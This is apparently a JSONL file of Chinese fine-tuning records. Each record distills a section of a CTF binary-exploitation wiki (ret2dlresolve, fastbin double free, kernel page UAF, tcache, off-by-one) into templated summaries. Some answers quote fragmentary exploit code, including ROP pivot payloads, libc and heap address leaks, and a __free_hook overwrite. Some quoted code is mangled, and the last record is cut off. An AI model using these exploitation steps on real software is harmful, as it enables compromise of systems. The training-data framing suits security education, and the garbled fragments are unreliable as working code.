{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-54fa7d4d394d6551850a", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「stack privot to bss segment, set rsp = new_stack」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：stack privot to bss segment, set rsp = new_stack\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“stack privot to bss segment, set rsp = new_stack”展开。\n- stack_size = 0x1a0 # new stack size is 0x1a0 new_stack = bss_addr+0x200 offset = 112+8 rop.raw(offset'a') payload1 = csu(0, 1 ,elf.got['read'],0,new_stack,stack_size) rop.raw(payload1) rop.raw(0x400607) assert(len(rop.chain())<=256) rop.raw(\"a\"(256-len(rop....\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 270, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "stack privot to bss segment, set rsp = new_stack", "heading_path": ["stack privot to bss segment, set rsp = new_stack"], "original_id": "docs-59f8cb0093cf7d649145", "original_line": 1342, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "b749c3dd3de5bd504535c960", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-55091b2e4ac4439e02ea", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md` 中的章节「介绍」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md`\n标题：Fastbin Attack\n章节：Fastbin Attack > Fastbin Double Free > 介绍\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“介绍”展开。\n- 这样导致的后果是多次分配可以从 fastbin 链表中取出同一个堆块，相当于多个指针指向同一个堆块，结合堆块的数据内容可以实现类似于类型混淆(type confused)的效果。\n- Fastbin Double Free 能够成功利用主要有两部分的原因 1. fastbin 的堆块被释放后 next_chunk 的 pre_inuse 位不会被清空 2. fastbin 在执行 free 的时候仅验证了 main_arena 直接指向的块，即链表指针头部的块。\n- Fastbin Double Free 是指 fastbin 的 chunk 可以被多次释放，因此可以在 fastbin 链表中存在多次。\n- `` / Another simple check: make sure the top of the bin is not the record we are going to add (i.e., double free). / if (__builtin_expect (old == p, 0)) { errstr = \"double free or corruption (fasttop)\";\n\n关键术语：\n- 堆\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n\n代码/命令片段线索：\n- plain: 7 行，首行 `/* Another simple check: make sure the top of the bin is not the`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 550, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "介绍", "heading_path": ["Fastbin Attack", "Fastbin Double Free", "介绍"], "original_id": "docs-b74a5474947c646514d4", "original_line": 916, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md", "source_root": "docs", "source_sha256": "64df048b597ef6437905e6df1f5ef5b90fc06f950d7e5cb40681b923ec3ce15a", "split": "train", "split_group_key": "114ab69ffa314de9b26b19fc", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "heap"], "title": "Fastbin Attack"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-5571374785f47bd3d3d9", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/heap-overview.md` 中的章节「内存分配背后的系统调用」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/heap-overview.md`\n标题：堆概述\n章节：堆概述 > 堆的基本操作 > 内存分配背后的系统调用\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“内存分配背后的系统调用”展开。\n- 如下图所示，我们主要考虑对堆进行申请内存块的操作。\n- 这些函数背后的系统调用主要是 (s)brk 函数以及 mmap, munmap 函数。\n- 在前面提到的函数中，无论是 malloc 函数还是 free 函数，我们动态申请和释放内存时，都经常会使用，但是它们并不是真正与系统交互的函数。\n- [图片文件: ./figure/brk&mmap.png]\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 277, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "内存分配背后的系统调用", "heading_path": ["堆概述", "堆的基本操作", "内存分配背后的系统调用"], "original_id": "docs-2be901e19bd015845f6c", "original_line": 944, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/heap-overview.md", "source_root": "docs", "source_sha256": "c5b7b2772fccb400c1608947df02ea8ba5de03c3aabfe029fcff194c119d8375", "split": "train", "split_group_key": "8fd249fe181ce38268405c66", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "pwn", "linux", "user-mode", "heap"], "title": "堆概述"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/heap-overview.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-55779dbb552b2e51ffbd", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md` 中的章节「Unsorted Bin」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md`\n标题：堆相关数据结构\n章节：define INTERNAL_SIZE_T size_t > bin > Unsorted Bin\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Unsorted Bin”展开。\n- 其在 glibc 中具体的说明如下 ``c++ / Unsorted chunks All remainders from chunk splits, as well as all returned chunks, are first placed in the \"unsorted\" bin.\n- The NON_MAIN_ARENA flag is never set for unsorted chunks, so it does not have to be taken into account in size comparisons. / ` 从下面的宏我们可以看出 `c++ / The otherwise unindexable 1-bin is used to hold unsorted chunks. / #define unsorted_chunks(M) (bin_at(M, 1)) `...\n- unsorted bin 可以视为空闲 chunk 回归其所属 bin 之前的缓冲区。\n- So, basically, the unsorted_chunks list acts as a queue, with chunks being placed on it in free (and malloc_consolidate), and taken off (to be either used or placed in bins) in malloc.\n- They are then placed in regular bins after malloc gives them ONE chance to be used before binning.\n\n关键术语：\n- 堆\n- AI安全\n- pwn\n- linux\n- user-mode\n- heap\n- code:c++\n\n代码/命令片段线索：\n- c++: 11 行，首行 `/*`\n- c++: 2 行，首行 `/* The otherwise unindexable 1-bin is used to hold unsorted chunks. */`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1089, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "Unsorted Bin", "heading_path": ["define INTERNAL_SIZE_T size_t", "bin", "Unsorted Bin"], "original_id": "docs-6dfe7396b76af08b08e4", "original_line": 959, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md", "source_root": "docs", "source_sha256": "b1de1dbec6826b99266e11e63b8d9fae7712a0f329395937de325e916d1378e8", "split": "train", "split_group_key": "4b2a1d3436f5ceb374ec7167", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "AI安全", "pwn", "linux", "user-mode", "heap", "code:c++"], "title": "堆相关数据结构"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-559f0c72de01a0395037", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md` 中的章节「题目分析」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md`\n标题：Page-level UAF\n章节：Page-level UAF > 例题：D^3CTF2023 - d3kcache > 题目分析\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“题目分析”展开。\n- } ` 自定义的 ioctl 函数提供了分配、追加编辑、释放、读取的一个堆菜单，漏洞便出在追加编辑当中，当写满 2048 字节时存在着一个 \\0 字节的溢出： `c __int64 __fastcall sub_99(__int64 a1, int a2, __int64 a3) { __int64 v4;\n- > 当然，在内核漏洞利用蓬勃发展的今日，现在做内核漏洞利用自然要默认这些保护都开了。\n- } ` 同时查看题目所提供的内核编译文件，可以发现开启了 Control Flow Integrity 保护： ` CONFIG_CFI_CLANG=y `` 其他的各种常规保护（KPTI、KASLR、Hardened Usercopy、...）基本上都是开启的，这里就不阐述了。\n- 题目逆向起来应该还是比较简单的，在模块初始化函数中创建了一个独立的 kmem_cache ，对象大小为 2048： ``c __int64 sub_529() { printk(&unk_96B);\n- major_num = _register_chrdev(0LL, 0LL, 256LL, \"d3kcache\", &d3kcache_fo);\n\n关键术语：\n- UAF\n- 边界/溢出\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n- code:c\n\n代码/命令片段线索：\n- c: 37 行，首行 `__int64 sub_529()`\n- c: 162 行，首行 `__int64 __fastcall sub_99(__int64 a1, int a2, __int64 a3)`\n- plain: 1 行，首行 `CONFIG_CFI_CLANG=y`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 4502, "chunk_count": 1, "chunk_index": 0, "ctf_score": 32, "ctf_task_type": "pwn", "heading": "题目分析", "heading_path": ["Page-level UAF", "例题：D^3CTF2023 - d3kcache", "题目分析"], "original_id": "docs-0c1193a4f35e180ed6be", "original_line": 743, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md", "source_root": "docs", "source_sha256": "9556b48cfce4fb3e87c0e04e6cd2793e0719241e2bc305a1f292d6b02d17d186", "split": "train", "split_group_key": "858d3a39c2896aea91813c46", "subcategory": "pwn/linux/kernel-mode", "terms": ["UAF", "边界/溢出", "堆", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation", "code:c"], "title": "Page-level UAF"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-55ce31c5769d24796643", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/leak-heap.md` 中的章节「0x01 read UAF」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/leak-heap.md`\n标题：通过堆进行信息泄漏\n章节：通过堆进行信息泄漏 > 哪些漏洞可以用于泄漏 > 0x01 read UAF\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“0x01 read UAF”展开。\n- ` 由于 fastbin list 的特性，当我们构造一条fastbin list的时候 `bash (0x30) fastbin[1]: 0x602030 --> 0x602000 --> 0x0 ` 存在 chunk 1 -> chunk 0 的现象，如果此时 UAF漏洞存在，我们可以通过 show chunk 1，将chunk 0的地址打印出来 同理，泄露 libc base `c p0 = malloc(0x100);\n- 通过，UAF ，泄露 heapbase： ``c p0 = malloc(0x20);\n- printf('heap base:%p',p1);\n- printf(\"libc: %p\\n\", p0);\n\n关键术语：\n- UAF\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n- code:c\n- code:bash\n\n代码/命令片段线索：\n- c: 5 行，首行 `p0 = malloc(0x20);`\n- bash: 1 行，首行 `(0x30) fastbin[1]: 0x602030 --> 0x602000 --> 0x0`\n- c: 3 行，首行 `p0 = malloc(0x100);`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 387, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "0x01 read UAF", "heading_path": ["通过堆进行信息泄漏", "哪些漏洞可以用于泄漏", "0x01 read UAF"], "original_id": "docs-5ded9adcac9bf5b819bb", "original_line": 1010, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/leak-heap.md", "source_root": "docs", "source_sha256": "c7422be7213815830cc0d86e4be4369c4aed68443f0d60b3e86923927586bc37", "split": "train", "split_group_key": "cce7d2386980548f6eb089b6", "subcategory": "pwn/linux/user-mode", "terms": ["UAF", "堆", "漏洞利用", "pwn", "linux", "user-mode", "heap", "code:c", "code:bash"], "title": "通过堆进行信息泄漏"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/leak-heap.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-55e57a15ede5f6fdf976", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md` 中的章节「place chunk in small bin」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md`\n标题：申请内存块\n章节：申请内存块 > _int_malloc > 大循环-遍历 unsorted bin > unsorted bin 遍历 > place chunk in small bin\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“place chunk in small bin”展开。\n- ``c / place chunk in bin / if (in_smallbin_range(size)) { victim_index = smallbin_index(size);\n- bck = bin_at(av, victim_index);\n- 把取出来的 chunk 放到对应的 small bin 中。\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n- code:c\n\n代码/命令片段线索：\n- c: 5 行，首行 `/* place chunk in bin */`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 186, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "place chunk in small bin", "heading_path": ["申请内存块", "_int_malloc", "大循环-遍历 unsorted bin", "unsorted bin 遍历", "place chunk in small bin"], "original_id": "docs-15d91ae9ddb39c7a3e5e", "original_line": 60, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md", "source_root": "docs", "source_sha256": "d57c9fb6e3dadf6dcdef23e595c99d5566d1a5c69e96baacfe77e614ff9962bf", "split": "train", "split_group_key": "2049e126ef8bcc686e4c1c10", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "pwn", "linux", "user-mode", "heap", "code:c"], "title": "申请内存块"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-55e90c111fcd49de3be5", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md` 中的章节「找到一个合适的 map」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md`\n标题：申请内存块\n章节：申请内存块 > _int_malloc > 大循环-遍历 unsorted bin > 寻找较大 chunk > 找到一个合适的 map\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“找到一个合适的 map”展开。\n- ``c++ / Skip rest of block if there are no more set bits in this block. / // 如果bit>map，则表示该 map 中没有比当前所需要chunk大的空闲块 // 如果bit为0，那么说明，上面idx2bit带入的参数为0。\n- if (bit > map || bit == 0) { do { // 寻找下一个block，直到其对应的map不为0。\n- // 如果已经不存在的话，那就只能使用top chunk了 if (++block >= BINMAPSIZE) / out of bins / goto use_top;\n- } while ((map = av->binmap[ block ]) == 0);\n- bin = bin_at(av, (block << BINMAPSHIFT));\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n- code:c++\n\n代码/命令片段线索：\n- c++: 16 行，首行 `/* Skip rest of block if there are no more set bits in this block.`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 493, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "找到一个合适的 map", "heading_path": ["申请内存块", "_int_malloc", "大循环-遍历 unsorted bin", "寻找较大 chunk", "找到一个合适的 map"], "original_id": "docs-ccfae163fb664b1fcc52", "original_line": 1152, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md", "source_root": "docs", "source_sha256": "d57c9fb6e3dadf6dcdef23e595c99d5566d1a5c69e96baacfe77e614ff9962bf", "split": "train", "split_group_key": "ed179ae13e6ed637fbd6f2d7", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "pwn", "linux", "user-mode", "heap", "code:c++"], "title": "申请内存块"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-563d9c7dd28d61e930ca", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md` 中的章节「stashed」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md`\n标题：堆中的 Off-By-One\n章节：53,54,60,62,63,64,65 > stashed\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“stashed”展开。\n- add(0x28,'\\x10') # 54->67 add(0x28,'a' * 0x20 + p64(0x240)) # 60->68 delete(61)\n- add(0x140,'pass') # 61 show(56) libc_base = u64(sh.recv(6).ljust(0x8,'\\x00')) - libc.sym[\"__malloc_hook\"] - 0x10 - 0x60 log.success(\"libc_base:\" + hex(libc_base)) __free_hook_addr = libc_base + libc.sym[\"__free_hook\"]\n- add(0x28,'pass') # 69<-56 add(0x28,'pass') # 70<-57 delete(70) delete(69) show(56) heap_base = u64(sh.recv(6).ljust(0x8,'\\x00')) - 0x1A0 log.success(\"heap_base:\" + hex(heap_base))\n- add(0x28,p64(0) 2) # 69<-56 add(0x28,p64(0) 2) # 70<-57 add(0x28,p64(0) 2) # 71<-58 delete(68) add(0x60,p64(0) 5 + p64(0x31) + p64(__free_hook_addr)) # 68 add(0x28,'pass') # 72\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 665, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "stashed", "heading_path": ["53,54,60,62,63,64,65", "stashed"], "original_id": "docs-c38f95dfd64343026a19", "original_line": 1029, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md", "source_root": "docs", "source_sha256": "c9420c20a42485b6b155210d4899dbe07dde5bd50311698d2cedbba97b522cfe", "split": "train", "split_group_key": "104e7e8051f0f5cbcad66967", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "pwn", "linux", "user-mode", "heap"], "title": "堆中的 Off-By-One"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-5656307fbf840fee168d", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/chunk-extend-overlapping.md` 中的章节「leak freeaddr」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/chunk-extend-overlapping.md`\n标题：Chunk Extend and Overlapping\n章节：leak freeaddr\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“leak freeaddr”展开。\n- show(1) r.recvuntil(\"Content : \") data = r.recvuntil(\"Done !\n- \") free_addr = u64(data.split(\"\\n\")[0].ljust(8, \"\\x00\")) libc_base = free_addr - libc.symbols['free'] log.success('libc base addr: ' + hex(libc_base)) system_addr = libc_base + libc.symbols['system'] #gdb.attach(r)\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 275, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "leak freeaddr", "heading_path": ["leak freeaddr"], "original_id": "docs-aad6084add419beddc00", "original_line": 910, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/chunk-extend-overlapping.md", "source_root": "docs", "source_sha256": "b01e68217ab7de1be420b9424581a4f5375501c0cee771572bfb815bdb771d2a", "split": "train", "split_group_key": "d338a80bcdfbdb083c9e43e9", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "pwn", "linux", "user-mode", "heap"], "title": "Chunk Extend and Overlapping"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/chunk-extend-overlapping.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-5670ede89f3cbca87b76", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md` 中的章节「基本信息」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md`\n标题：tcache makes heap exploitation easy again\n章节：from pwn import * > Challenge 2 : HITCON 2018 PWN baby_tcache > 基本信息\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“基本信息”展开。\n- ``bash zj@zj-virtual-machine:~/c_study/hitcon2018/pwn1$ checksec ./baby_tcache [*] '/home/zj/c_study/hitcon2018/pwn1/baby_tcache' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled ``\n- 远程环境中的 libc 是 libc-2.27.so 和上面的题目一样。\n\n关键术语：\n- 堆\n- 栈\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n- code:bash\n\n代码/命令片段线索：\n- bash: 8 行，首行 `zj@zj-virtual-machine:~/c_study/hitcon2018/pwn1$ checksec ./baby_tcache`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 287, "chunk_count": 1, "chunk_index": 0, "ctf_score": 30, "ctf_task_type": "pwn", "heading": "基本信息", "heading_path": ["from pwn import *", "Challenge 2 : HITCON 2018 PWN baby_tcache", "基本信息"], "original_id": "docs-e9402e901e12911aecf6", "original_line": 1060, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md", "source_root": "docs", "source_sha256": "37eb8bd9e0addea4340fa8d86115193239ec930263e815b614220939fd397eaa", "split": "train", "split_group_key": "1a0c397f7642439a6d5afc55", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "栈", "漏洞利用", "pwn", 